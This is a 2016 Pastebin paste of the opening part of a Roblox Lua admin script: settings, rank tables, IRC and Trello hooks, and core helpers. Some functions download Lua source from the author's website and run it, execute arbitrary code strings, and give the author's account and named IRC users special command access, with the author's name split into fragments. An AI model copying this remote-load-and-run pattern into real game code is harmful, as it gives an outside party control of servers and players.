RyanDaCoder

MakerModel

Sep 5th, 2016
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 357.22 KB | None | 0 0
  1. --[[
  2. Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
  3. If you want to know what commands do just go into your game and say ;cmds for a list of
  4. commands, what they do, examples, rank needed, and more!
  5. Or, go to http://www.classy-studios.com/V3/Commands.php
  6.  
  7.  
  8. TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
  9.  
  10. --->> DO NOT EDIT THESE SETTINGS <<---
  11. Well you can but it's a waste of your time. The settings are located in workspace
  12. in a folder called "MakerModelLua's Settings". You can also use this plugin:
  13.  
  14. http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
  15.  
  16. USE REMOTE ADMIN:
  17. http://www.classy-studios.com/Login/
  18.  
  19.  
  20.  
  21. ...also... this is open source! No stupid shady module scripts, which means it works in studio!
  22.  
  23. ]]
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47. -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
  48.  
  49.  
  50. local Settings = {
  51. Ranks = {
  52. ["Owner"] = {TheMadKiller104};
  53. ["Admin"] = {};
  54. ["Member"] = {};
  55. ["Banned"] = {};
  56. ["Crashed"] = {};
  57. ["Muted"] = {};
  58. };
  59.  
  60. Prefix = ";";
  61. Bet = " ";
  62. MinimumAge = 0;
  63. ServerLocked = false;
  64. ColorScheme = "White";
  65. TransparencyScheme = 50;
  66. Fun = true;
  67. EnableAdminMenu = true;
  68. EnableTaskBar = true;
  69. FreeAdmin = false;
  70. Font = "Arial";
  71.  
  72. DisableAbuse = false;
  73. AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
  74. AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
  75.  
  76. LinkedAccount = "";
  77. DataKey = "";
  78.  
  79. ExecuteNotificationSound = 0; --177578949
  80. EnableSounds = true;
  81.  
  82. VIPMemberID = 0;
  83. VIPAdminID = 0;
  84.  
  85. GroupID = 0;
  86. GroupBanRank = 0;
  87. GroupMemberRank = 0;
  88. GroupAdminRank = 0;
  89. GroupOwnerRank = 0;
  90. GroupRankBan = 0;
  91. BannedGroupIDs = {};
  92.  
  93. IRCServer = "";
  94. IRCChannel = "";
  95. IRCCommandExecuters = {};
  96.  
  97. TrelloToken = ""
  98. }
  99.  
  100. local Colors = {
  101. ["WHITE"] = Color3.new(1,1,1);
  102. ["BLACK"] = Color3.new(0,0,0);
  103. ["GRAY"] = Color3.new(0.5,0.5,0.5);
  104. ["RED"] = Color3.new(1,0,0);
  105. ["GREEN"] = Color3.new(0,1,0);
  106. ["BLUE"] = Color3.new(0,0,1);
  107. ["YELLOW"] = Color3.new(1,1,0);
  108. ["PINK"] = Color3.new(1,0,1);
  109. ["MAGENTA"] = Color3.new(1,0,1);
  110. ["CYAN"] = BrickColor.new("Cyan").Color;
  111. ["TEAL"] = BrickColor.new("Teal").Color;
  112. ["BROWN"] = Color3.new(0.55,0.25,0.075);
  113. ["PURPLE"] = Color3.new(0.5,0,0.5);
  114. ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
  115. }
  116.  
  117. local Server = {
  118. Workspace = game:GetService("Workspace");
  119. Players = game:GetService("Players");
  120. Lighting = game:GetService("Lighting");
  121. MPS = game:GetService("MarketplaceService");
  122. TS = game:GetService("TeleportService");
  123. HS = game:GetService("HttpService");
  124. RS = game:GetService("RunService");
  125. PS = game:GetService("PointsService");
  126. TestS = game:GetService("TestService");
  127. IS = game:GetService("InsertService");
  128. Teams = game:GetService("Teams");
  129. Data = game:GetService("DataStoreService");
  130. GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
  131. NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
  132. Storage = game:GetService("ServerStorage")
  133. }
  134.  
  135. local Icons = {
  136. ["Message"] = 7724351;
  137. ["Error"] = 94011556;
  138. ["Information"] = 144175130;
  139. ["Check"] = 132769976;
  140. ["Search"] = 61994930;
  141. ["Time"] = 136391033;
  142. ["Notice"] = 156507320;
  143. ["Sound"] = 164682936;
  144. ["Log"] = 70650545;
  145. ["Question"] = 41363872;
  146. ["Output"] = 11481605;
  147. ["Admin"] = 302470270;
  148. ["Lock"] = 11341626;
  149. ["Settings"] = 131064748;
  150. ["Map"] = 257119661;
  151. ["Plugin"] = 257097414;
  152. }
  153.  
  154. local IRC = {
  155. Codes = {
  156. ["001"] = "RPL_WELCOME",
  157. ["002"] = "RPL_YOURHOST",
  158. ["003"] = "RPL_CREATED",
  159. ["004"] = "RPL_MYINFO",
  160. ["005"] = "RPL_ISUPPORT",
  161. ["250"] = "RPL_STATSCONN",
  162. ["251"] = "RPL_LUSERCLIENT",
  163. ["252"] = "RPL_LUSEROP",
  164. ["254"] = "RPL_LUSERCHANNELS",
  165. ["255"] = "RPL_LUSERME",
  166. ["265"] = "RPL_LOCALUSERS",
  167. ["266"] = "RPL_GLOBALUSERS",
  168. ["352"] = "RPL_WHOREPLY",
  169. ["371"] = "RPL_INFO",
  170. ["372"] = "RPL_MOTD",
  171. ["374"] = "RPL_ENDINFO",
  172. ["375"] = "RPL_MOTDSTART",
  173. ["376"] = "RPL_ENDOFMOTD",
  174. ["422"] = "ERR_NOMOTD",
  175. },
  176. Ignore = {
  177. ["004"] = true,
  178. ["005"] = true,
  179. };
  180. Users = {};
  181. Logs = {};
  182. Chats = {};
  183. Forms = {};
  184. MessageAdded = Instance.new("BindableEvent");
  185.  
  186. Servers = {
  187. ["esper.net"] = {
  188. BaseUrl = "http://webchat.esper.net/";
  189. DynamicUrl = "";
  190. };
  191. ["quakenet.org"] = {
  192. BaseUrl = "http://webchat.quakenet.org/";
  193. DynamicUrl = "dynamic/leibniz",
  194. };
  195. ["swiftirc.net"] = {
  196. BaseUrl = "http://qwebirc.swiftirc.net/";
  197. DynamicUrl = "",
  198. };
  199. };
  200. NickName = "rbxMMLV3_"..math.random(1,100000);
  201.  
  202. SessionCounter = 0;
  203. Connected = false;
  204. Stop = false;
  205. SessionID = "";
  206. }
  207.  
  208. local RankHUD = {
  209. ["Muted"] = 202180094;
  210. ["Non-Admin"] = 202180121;
  211. ["Member"] = 202180052;
  212. ["Admin"] = 202180015;
  213. ["Owner"] = 202179988;
  214. }
  215.  
  216. local TextConverter = {
  217. LetterSounds = {
  218. ["a"] = {223757826, nil}; -- 203343899
  219. ["b"] = {223533700, 0.2}; -- 203344029
  220. ["c"] = {223533711, nil}; -- 203343994
  221. ["d"] = {223757910, nil}; -- 203398237
  222. ["e"] = {223758026, nil}; -- 203398295
  223. ["f"] = {223777655, nil}; -- 203398347
  224. ["g"] = {223777738, nil}; -- 203398372
  225. ["h"] = {223777757, nil}; -- 203398397
  226. ["i"] = {223777807, nil}; -- 203398422
  227. ["j"] = {223782888, nil}; -- 203398450
  228. ["k"] = {223533711, nil}; -- 203343994
  229. ["l"] = {223782961, 0.4}; -- 203398541
  230. ["m"] = {223782992, nil}; -- 203398578
  231. ["n"] = {223783063, nil}; -- 203398599
  232. ["o"] = {223783184, nil}; -- 203398611
  233. ["p"] = {223783235, nil}; -- 203398727
  234. ["q"] = {223783260, nil}; -- 203398755
  235. ["r"] = {223783305, 0.2}; -- 203398792
  236. ["s"] = {223783377, nil}; -- 203398806
  237. ["t"] = {223783446, nil}; -- 203398850
  238. ["u"] = {223783512, nil}; -- 203398872
  239. ["v"] = {223783654, nil}; -- 203398965
  240. ["w"] = {223783697, nil}; -- 203398984
  241. ["x"] = {223783796, nil}; -- 203399008
  242. ["y"] = {223783853, nil}; -- 203399043
  243. ["z"] = {223783893, nil}; -- 203399096
  244.  
  245. ["ch"] = {223784367, 0.3}; -- 203592149
  246. ["th"] = {223788235, 0.3}; -- 203399215
  247. ["sh"] = {223784505, 0.2}; -- 203399566
  248. ["wh"] = {223784555, 0.3}; -- 203622828
  249. ["oo"] = {223784456, 0.3}; -- 203399743
  250. ["ing"] = {223784393, 0.3}; -- 203402836
  251. };
  252.  
  253. LongVowels = {
  254. ["a"] = {223533687, nil}; -- 203343932
  255. ["e"] = {223777620, nil}; -- 203398314
  256. ["i"] = {223777855, nil}; -- 203398440
  257. ["o"] = {223783212, nil}; -- 203398619
  258. ["u"] = {223783572, nil}; -- 203398897
  259. };
  260.  
  261. Pronounce = {
  262. ["0"] = "zero";
  263. ["1"] = "wun";
  264. ["2"] = "too";
  265. ["3"] = "three";
  266. ["4"] = "four";
  267. ["5"] = "five";
  268. ["6"] = "six";
  269. ["7"] = "seven";
  270. ["8"] = "eyt";
  271. ["9"] = "nine";
  272. ["one"] = "wun";
  273. ["two"] = "too";
  274. ["eight"] = "eyt";
  275. ["eigh"] = "ey";
  276. ["gh"] = "h";
  277. ["kn"] = "n";
  278. ["come"] = "cu".."m";
  279. ["bye"] = "bi";
  280. ["#"] = "hashtag";
  281. ["@"] = "at";
  282. ["&"] = "and";
  283. ["*"] = "astrict";
  284. ["mn"] = "m";
  285. ["kn"] = "n";
  286. ["ies"] = "ees";
  287. };
  288.  
  289. NonEnglishRules = {
  290. ["to"] = "too";
  291. ["you"] = "yoo";
  292. ["we"] = "wee";
  293. ["are"] = "erh";
  294. ["your"] = "yoor";
  295. ["you're"] = "yoor";
  296. ["youre"] = "yoor";
  297. ["pizza"] = "peetzoh";
  298. ["ok"] = "okay";
  299. ["have"] = "hav";
  300. ["my"] = "mi";
  301. ["me"] = "mee";
  302. ["u"] = "yoo";
  303. ["r"] = "erh";
  304. ["move"] = "moov";
  305. ["dove"] = "duv";
  306. ["debris"] = "debree";
  307. ["do"] = "doo";
  308. }
  309. }
  310.  
  311. local HTMLDecode = {
  312. ["35"] = "#";
  313. ["36"] = "$";
  314. ["37"] = "%%";
  315. ["38"] = "*";
  316. ["39"] = "'";
  317. ["58"] = ":";
  318. ["59"] = ";";
  319. ["60"] = "<";
  320. ["62"] = ">";
  321. }
  322.  
  323.  
  324. local Packages = {
  325. [27112438] = {27112025,27112039,27112052,27112056,27112068};
  326. [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
  327. [77518833] = {77518564,77518616,77518654,77518696,77518737};
  328. [32336368] = {32336059,32336117,32336182,32336243,32336306};
  329. [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
  330. [54116460] = {54116290,54116338,54116373,54116394,54116432};
  331. [39977366] = {39976703,39976829,39976927,39977192,39977295};
  332. [32357766] = {32357663,32357631,32357619,32357584,32357558};
  333. [27123973] = {27121265,27121306,27121353,27121393,27121432};
  334. [55717536] = {55717271,55717330,55717388,55717434,55717491};
  335. [28279963] = {28279160,28279217,28279859,28279894,28279938};
  336. [27403592] = {27402580,27402546,27402641,27402714,27402742};
  337. [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
  338. [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
  339. [48474394] = {48474356,48474294};
  340. [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
  341. [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
  342. [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
  343. [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
  344. [33378577] = {33378366,33378438,33378484,33378522,33378540};
  345. [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
  346. [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
  347. [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
  348. [41851073] = {41850825,41850868,41850915,41851009,41850959}
  349. }
  350.  
  351. local CharacterCache = {
  352. {"MakerModelLua", 38837082};
  353. {"LuaModelMaker", 20920633};
  354. {"builderman", 156};
  355. {"Shedletsky", 261};
  356. {"Telamon", 13645};
  357. {"ROBLOX", 1};
  358. }
  359.  
  360. local FaceCovert = {
  361. Left = "xpos";
  362. Right = "xneg";
  363. Front = "zpos";
  364. Back = "zneg";
  365. Top = "ypos";
  366. Bottom = "yneg";
  367. }
  368.  
  369. local Meshes = {
  370. ["crown"] = {1, 1078075};
  371. ["king"] = {1, 11419761};
  372. ["teapot"] = {0.03, 1029523};
  373. ["apple"] = {2.5, 16190555};
  374. ["potato"] = {1, 25268275};
  375. ["panda"] = {0.5, 20709221};
  376. ["dominus"] = {0.5, 21057410};
  377. ["fedora"] = {0.75, 13640868};
  378. ["noob"] = {1, 20929341};
  379. ["knife"] = {0.3, 121944778};
  380. ["book"] = {0.3, 1136139};
  381. }
  382.  
  383. local NotifySounds = {
  384. ["Hover"] = 223134269;
  385. ["Select"] = 292141227;
  386. }
  387.  
  388. local Trello = {
  389. AdminBoardID = "577ea1b21cb7975666524f26";
  390. MainBoard = {};
  391. RequiredLists = {};
  392. RankChecklistCache = {};
  393. ToggleChecklist = nil;
  394. CommandID = nil;
  395. LastCommandDT = 0;
  396. }
  397.  
  398. -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
  399. -- Why else would I NOT have put it in a module?!?!?
  400.  
  401. local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
  402.  
  403. local SoundList,GlobalSoundList = {},{}
  404. local ScriptCache,MarketCache,PackageCache = {},{},Packages
  405. local TempChatLogs = {}
  406. local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
  407. local NoSpeak = false
  408.  
  409. local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
  410. local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
  411.  
  412. local ChatLogs,CommandLogs = {},{}
  413. local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
  414. local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
  415. local Dispose,Jails,PermCommandBars = {},{},{}
  416. local Waypoints = {["Center"] = Vector3.new(0,0,0)}
  417. local Objects = {}
  418. local Sound = nil
  419. local ModLighting = false
  420. local DataReady = true
  421. local RemoteAbuseGear = {}
  422.  
  423. local GameOwner = "[ Client ]"
  424. local PlaceName = "Unknown"
  425. local PlaceInfo = {}
  426. local IsStudio = false
  427. local IsSB = false
  428. local Date = nil
  429. local Fonts = {}
  430. local PendingRequests = {}
  431. local F3X = script:FindFirstChild("F3X Tools")
  432. local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
  433. local RemoteData = {RemoteAdminWait = 60, ChatLogWait = 90, TrelloWait = 10}
  434. local KeyBinds = {}
  435. local Crowns = {}
  436. local LastKeys = {}
  437. local Cars = {}
  438. local StringReplacements = {}
  439.  
  440. local CrownStorage = script:FindFirstChild("CrownStorage")
  441. if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
  442.  
  443. -- import old settings just in case --
  444. local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
  445. if OldSettings then
  446. OldSettings = require(OldSettings)
  447.  
  448. for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
  449. Settings[ValName] = OldSettings[ValName]
  450. end
  451. Settings.GroupBanRank = OldSettings.RankBan
  452. Settings.Fun = OldSettings.FUN
  453. end
  454.  
  455. if F3X then
  456. F3X = F3X:Clone()
  457. F3X.Handle.Anchored = false
  458. script:FindFirstChild("F3X Tools"):Destroy()
  459. end
  460.  
  461. wait(0.1)
  462.  
  463. local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
  464. -- tries to defualt to server storage, just in case an exploiter makes their own settings.
  465.  
  466. if SettingsValues then
  467. SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
  468. if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
  469. for _,Value in pairs(SettingsValues:GetChildren()) do
  470. if Settings[Value.Name] then
  471. if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
  472. for _,NewValue in pairs(Value:GetChildren()) do
  473. if ypcall(function() return NewValue.Value end) then
  474. if Settings[Value.Name][NewValue.Name] then
  475. local Val = NewValue.Value
  476. if type(Settings[Value.Name][NewValue.Name]) == "table" then
  477. Val = {}
  478. for Word in string.gmatch(NewValue.Value, "[%w_]+") do
  479. table.insert(Val, Word)
  480. end
  481. end
  482. Settings[Value.Name][NewValue.Name] = Val
  483. end
  484. end
  485. end
  486. elseif ypcall(function() return Value.Value end) then
  487. if Settings[Value.Name] then
  488. local Val = Value.Value
  489. if type(Settings[Value.Name]) == "table" then
  490. Val = {}
  491. for Word in string.gmatch(Value.Value, "%w+") do
  492. table.insert(Val, Word)
  493. end
  494. end
  495. Settings[Value.Name] = Val
  496. end
  497. end
  498. end
  499. end
  500. end
  501. end
  502.  
  503.  
  504. if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
  505. Settings.LinkedAccount = ""
  506. elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
  507. Settings.LinkedAccount = "Admin"
  508. end
  509.  
  510. local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
  511. local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
  512.  
  513. wait(1)
  514.  
  515. local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
  516.  
  517. if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
  518.  
  519. if not IsStudio then
  520. Server.NS = game:GetService("NetworkServer")
  521. script.Name = "Maker".."Mo".."delLua's Admin"
  522. end
  523.  
  524. if game.PlaceId > 0 then
  525. PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
  526. PlaceName = PlaceInfo.Name
  527. end
  528.  
  529. if string.byte(string.sub(PlaceName,1,1)) == 226 then
  530. PlaceName = string.sub(PlaceName,4,#PlaceName)
  531. end
  532. for i = 1,5 do
  533. if GameOwner == "[ Client ]" then
  534. print("MML's Admin: Attempting to establish owner's name #"..i)
  535. ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
  536. wait(1)
  537. end
  538. end
  539.  
  540. if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
  541.  
  542. if IsSB then
  543. Settings.IRCServer = "swiftirc.net";
  544. Settings.IRCChannel = "#PkamaraSB";
  545. Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
  546. if not Settings.TrelloToken then
  547. Settings.LinkedAccount = "ScriptBuilder"
  548. end
  549. end
  550. local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
  551. table.insert(Settings.Ranks["Owner"], GameOwner)
  552.  
  553. for _,Font in pairs(Enum.Font:GetEnumItems()) do
  554. Fonts[Font.Name] = Font
  555. end
  556.  
  557. local LogClient = script:FindFirstChild("AddClientInfo")
  558. if LogClient then LogClient:Destroy() end
  559. LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
  560. LogClient.OnServerInvoke = function(Player, Info)
  561. if Info then
  562. for Key,Data in pairs(Info) do
  563. ClientInfo[Player.Name][Key] = Data
  564. end
  565. end
  566. end
  567.  
  568. local function MakeFunction(Type, Name)
  569. local Func = script:FindFirstChild(Name)
  570. if Func then Func:Destroy() end
  571. Func = Instance.new(Type, script) Func.Name = Name
  572.  
  573. getfenv()[Name] = Func
  574. return Func
  575. end
  576.  
  577. MakeFunction("BindableFunction", "ExecuteCommand")
  578. MakeFunction("RemoteFunction", "ExecuteCommandClient")
  579. MakeFunction("BindableFunction", "ExecuteCode")
  580.  
  581. MakeFunction("RemoteFunction", "IsAdmin")
  582. MakeFunction("RemoteFunction", "AddExploit")
  583. MakeFunction("BindableFunction", "AddExploitServer")
  584. MakeFunction("RemoteFunction", "KickClient")
  585. MakeFunction("RemoteFunction", "ConvertTextToSound")
  586.  
  587. MakeFunction("RemoteFunction", "KeyPressed")
  588. MakeFunction("RemoteFunction", "InputKey")
  589.  
  590. MakeFunction("RemoteFunction", "RankPlayerLocal")
  591. MakeFunction("BindableFunction", "RankPlayerServer")
  592.  
  593. --[[
  594. if NLS then
  595. local Value = script:FindFirstChild("Override")
  596. LogClient.Parent = game
  597. if not Value then
  598. local Value = Instance.new("BoolValue", script) Value.Name = "Override"
  599. local CloneScript = script:Clone()
  600. CloneScript.Disabled = true
  601. CloneScript.Parent = game:FindFirstChild("ServerScriptService")
  602. CloneScript.Disabled = false
  603. CloneScript.Parent = nil
  604.  
  605. script:Destroy() script.Disabled = true
  606. end
  607. end
  608. ]]
  609.  
  610. if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
  611.  
  612. IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
  613.  
  614. -- Core functions --
  615.  
  616. function CORE:FixSettings()
  617. if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
  618. CORE:ChangeBet(Settings.Bet)
  619.  
  620. if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
  621. if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
  622.  
  623. if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
  624. if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
  625. Settings.TransparencyScheme = Settings.TransparencyScheme/100
  626.  
  627. if not Fonts[Settings.Font] then
  628. Settings.Font = "Arial"
  629. end
  630. end
  631.  
  632. function CORE:NilPlayer(Player)
  633. if Player == nil or type(Player) == "table" then return true else return false end
  634. end
  635.  
  636. function CORE:ExecuteResource(ResourceName, Parent, Data)
  637. local ReturnScript = nil
  638. local Executed = true
  639. if script:FindFirstChild("Resources") then
  640. local RawResource = script.Resources:FindFirstChild(ResourceName)
  641. if RawResource then
  642. local Resource = RawResource:Clone()
  643. Resource.Disabled = true
  644. Resource.Parent = Parent
  645. if Data then
  646. for Key,Value in pairs(Data) do
  647. if Resource[Key] then
  648. Resource[Key].Value = Value
  649. end
  650. end
  651. end
  652. wait()
  653. Resource.Disabled = false
  654. ReturnScript = Resource
  655. else
  656. Executed = false
  657. end
  658. else
  659. Executed = false
  660. end
  661. if Executed == false then
  662. if not Data then Data = {} end
  663. local Source = ScriptCache[ResourceName]
  664.  
  665. if not Source then
  666. Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
  667. if Source then
  668. ScriptCache[ResourceName] = Source
  669. end
  670. end
  671.  
  672. if Data and Source then
  673. for Key,Value in pairs(Data) do
  674. Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
  675. end
  676. end
  677.  
  678. if NLS and Source then
  679. ReturnScript = NLS(Source, Parent)
  680. end
  681. end
  682. return ReturnScript
  683. end
  684.  
  685. function CORE:CreateRemotePropertyReader(Obj, Override)
  686. if Server.Workspace.FilteringEnabled == true or Override then
  687. local Reader = Instance.new("RemoteFunction", Obj)
  688. Reader.Name = "RemotePropertyReader"
  689. CORE:ExecuteResource("RemotePropertyReader", Reader)
  690. return Reader
  691. else
  692. return Obj
  693. end
  694. end
  695.  
  696. function CORE:ReadProperty(Reader, Player, Property)
  697. if Reader:IsA("RemoteFunction") then
  698. return Reader:InvokeClient(Player, Property)
  699. else
  700. return Reader[Property]
  701. end
  702. end
  703.  
  704. function CORE:WriteProperty(Reader, Player, Property, Value)
  705. if Reader:IsA("RemoteFunction") then
  706. return Reader:InvokeClient(Player, Property, Value)
  707. else
  708. return Reader[Property]
  709. end
  710. end
  711.  
  712.  
  713. function CORE:CreateRemoteEvent(Obj, EventName)
  714. local Event = Instance.new("RemoteEvent", Obj)
  715. Event.Name = "RemoteEvent_"..EventName
  716. CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
  717. return Event
  718. end
  719.  
  720. function CORE:HandleEvent(Obj, EventName, Func, NewThread)
  721. local function Handle()
  722. if Server.Workspace.FilteringEnabled == true then
  723. local Event = CORE:CreateRemoteEvent(Obj, EventName)
  724. return Event.OnServerEvent:connect(function(Player, ...)
  725. Func(...)
  726. end)
  727. else
  728. return Obj[EventName]:connect(Func)
  729. end
  730. end
  731. if NewThread then
  732. Spawn(Handle)
  733. else
  734. Handle()
  735. end
  736. end
  737.  
  738. function CORE:HandleError(Error, Speaker)
  739. local Return = ""
  740. if not Error or Error == "" then
  741. Return = "Unknown Error"
  742. else
  743. Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  744. end
  745. if Speaker then
  746. GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  747. end
  748. return Return
  749. end
  750.  
  751. local function ExecuteSafe(Source, Speaker) -- no CORE
  752. local Script, Error = loadstring(Source)
  753. if Error then
  754. return false, CORE:HandleError(Error, Speaker)
  755. else
  756. getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  757. getfenv(Script).Server, getfenv(Script).script = Server,script
  758. if Speaker then
  759. getfenv(Script).print = function(...)
  760. GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  761. end
  762. getfenv(Script).print_array = function(List)
  763. if type(List) == "table" then
  764. GUI:ListGui(Speaker, "Listed Table", List, "Output")
  765. end
  766. end
  767. end
  768.  
  769. local Suc, Error = ypcall(coroutine.wrap(Script))
  770.  
  771. if not Suc then
  772. Error = CORE:HandleError(Error, Speaker)
  773. end
  774.  
  775. return Suc,Error
  776. end
  777. end
  778.  
  779. function CORE:GetTime(Regular, FullDate)
  780. if Regular == nil then Regular = true end
  781. local Meridiem = ""
  782. if Regular == true then Meridiem = " AM" end
  783. local SecondsOfToday = math.fmod(os.time(), 60*60*24)
  784. local Hour = math.floor(SecondsOfToday / (60*60))
  785. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  786. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  787. if Hour > 12 and Regular == true then
  788. Hour = Hour - 12
  789. Meridiem = " PM"
  790. end
  791. Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  792. if #Hour <= 1 then Hour = "0"..Hour end
  793. if #Minute <= 1 then Minute = "0"..Minute end
  794. if #Second <= 1 then Second = "0"..Second end
  795. local Return = Hour..":"..Minute..":"..Second..Meridiem
  796. if FullDate == true and Date then Return = Date.." "..Return end
  797. return Return
  798. end
  799.  
  800. function CORE:RemoveAdmin(Speaker)
  801. local Answer = true -- false
  802. if not CORE:NilPlayer(Speaker) then
  803. Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."uas's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  804. end
  805. if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  806. if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
  807. for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  808. for _,Item in pairs(Player:GetChildren()) do
  809. if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
  810. Item:Destroy()
  811. end
  812. end
  813. for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  814. if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  815. GUI:Destroy()
  816. end
  817. end
  818. end end
  819. for _,Car in pairs(Cars) do
  820. Car:Destroy()
  821. end
  822. CORE:FixLighting()
  823. while wait() do
  824. if script:FindFirstChild("Override") then script.Override.Value = true end
  825. Settings,CORE,IRC = nil,{},{}
  826. if Sound then Sound:Stop() end
  827. if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  828. script:ClearAllChildren() script:Destroy() script.Disabled = true
  829. end
  830. end
  831. end
  832.  
